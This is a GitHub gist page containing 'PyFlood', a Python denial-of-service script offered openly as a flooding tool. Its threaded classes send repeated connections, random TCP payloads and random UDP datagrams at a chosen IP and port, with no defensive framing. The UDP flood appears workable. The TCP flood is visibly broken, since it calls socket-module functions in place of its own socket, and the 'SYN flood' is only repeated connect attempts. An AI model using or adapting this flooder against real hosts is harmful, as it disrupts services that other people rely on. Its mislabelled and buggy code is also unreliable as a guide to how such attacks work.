Last active
August 29, 2015 14:06
-
-
Save lf2186/89658d57b7a59707c16d to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# PyFlood DoS Flooder | |
# Version 1.0.0 | |
# Coded by InvisibleMan in Python 3.3.2 | |
# Download : N/A | |
# File : pyflood.py | |
#IMPORTS | |
import random | |
import socket | |
import sys | |
import threading | |
#SYN FLOOD | |
class synFlood(threading.Thread): | |
def __init__(self, ip, port, packets): | |
self.ip = ip | |
self.port = port | |
self.packets = packets | |
self.syn = socket.socket() | |
threading.Thread.__init__(self) | |
def run(self): | |
for i in range(self.packets): | |
try: | |
self.syn.connect((self.ip, self.port)) | |
except: | |
pass | |
#TCP FLOOD | |
class tcpFlood(threading.Thread): | |
def __init__(self, ip, port, size, packets): | |
self.ip = ip | |
self.port = port | |
self.size = size | |
self.packets = packets | |
self.tcp = socket.socket(socket.AF_INET,socket.SOCK_STREAM) | |
threading.Thread.__init__(self) | |
def run(self): | |
for i in range(self.packets): | |
try: | |
bytes = random._urandom(self.size) | |
socket.connect(self.ip, self.port) | |
socket.setblocking(0) | |
socket.sendto(bytes,(self.ip, self.port)) | |
except: | |
pass | |
#UDP FLOOD | |
class udpFlood(threading.Thread): | |
def __init__(self, ip, port, size, packets): | |
self.ip = ip | |
self.port = port | |
self.size = size | |
self.packets = packets | |
self.udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) | |
threading.Thread.__init__(self) | |
def run(self): | |
for i in range(self.packets): | |
try: | |
bytes = random._urandom(self.size) | |
if self.port == 0: | |
self.port = random.randrange(1, 65535) | |
self.udp.sendto(bytes,(self.ip, self.port)) | |
except: | |
pass |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment